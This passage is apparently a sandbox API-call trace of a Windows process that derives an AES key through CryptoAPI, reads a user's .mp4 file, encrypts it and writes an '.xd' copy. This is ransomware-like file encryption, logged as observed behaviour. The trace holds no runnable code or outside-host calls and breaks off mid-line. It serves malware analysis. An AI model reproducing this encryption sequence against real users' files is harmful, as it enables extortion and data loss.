WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621870, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.655] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.655] CryptHashData (hHash=0x164c7b0, pbData=0x1629560, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.655] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.655] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.655] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.655] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.655] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.655] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.656] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.656] CryptDeriveKey (in: hProv=0x17aa230, Algid=0x6610, hBaseData=0x164c7b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0065.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.656] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.656] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.656] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.656] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.657] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.657] CryptDestroyHash (hHash=0x164c7b0) returned 1 [0065.657] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.657] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\l1sxhrzd9hhl.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.657] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.657] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.657] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.658] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0065.658] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\l1sxhrzd9hhl.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.661] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.661] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xc600, lpOverlapped=0x0) returned 1 [0065.663] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.667] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.667] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.667] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.667] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.667] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.667] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.667] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.667] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.667] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.667] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.667] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.668] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.668] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.668] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.668] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.668] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.668] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.669] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.669] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.669] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.669] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.669] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.669] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.669] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.669] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.670] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.670] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.670] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xc600, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xc610) returned 1 [0065.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.671] CharLowerBuffW (in: lpsz="byte[50705]", cchLength=0xb | out: lpsz="byte[50705]") returned 0xb [0065.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.673] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.673] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.673] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.674] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.674] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18a2228*, pdwDataLen=0x130e618*=0xc600, dwBufLen=0xc610 | out: pbData=0x18a2228*, pdwDataLen=0x130e618*=0xc610) returned 1 [0065.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.674] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.675] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.675] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.675] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.675] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.675] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.680] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.680] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.681] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xc610, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xc610, lpOverlapped=0x0) returned 1 [0065.686] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.687] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.687] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.687] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.687] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.687] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.688] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.688] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.688] CryptDestroyKey (hKey=0x164ca30) returned 1 [0065.688] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.688] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.688] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.688] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.688] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.688] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.688] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.688] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.695] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.696] PeekMessageW (in: lpMsg=0x130e7cc, 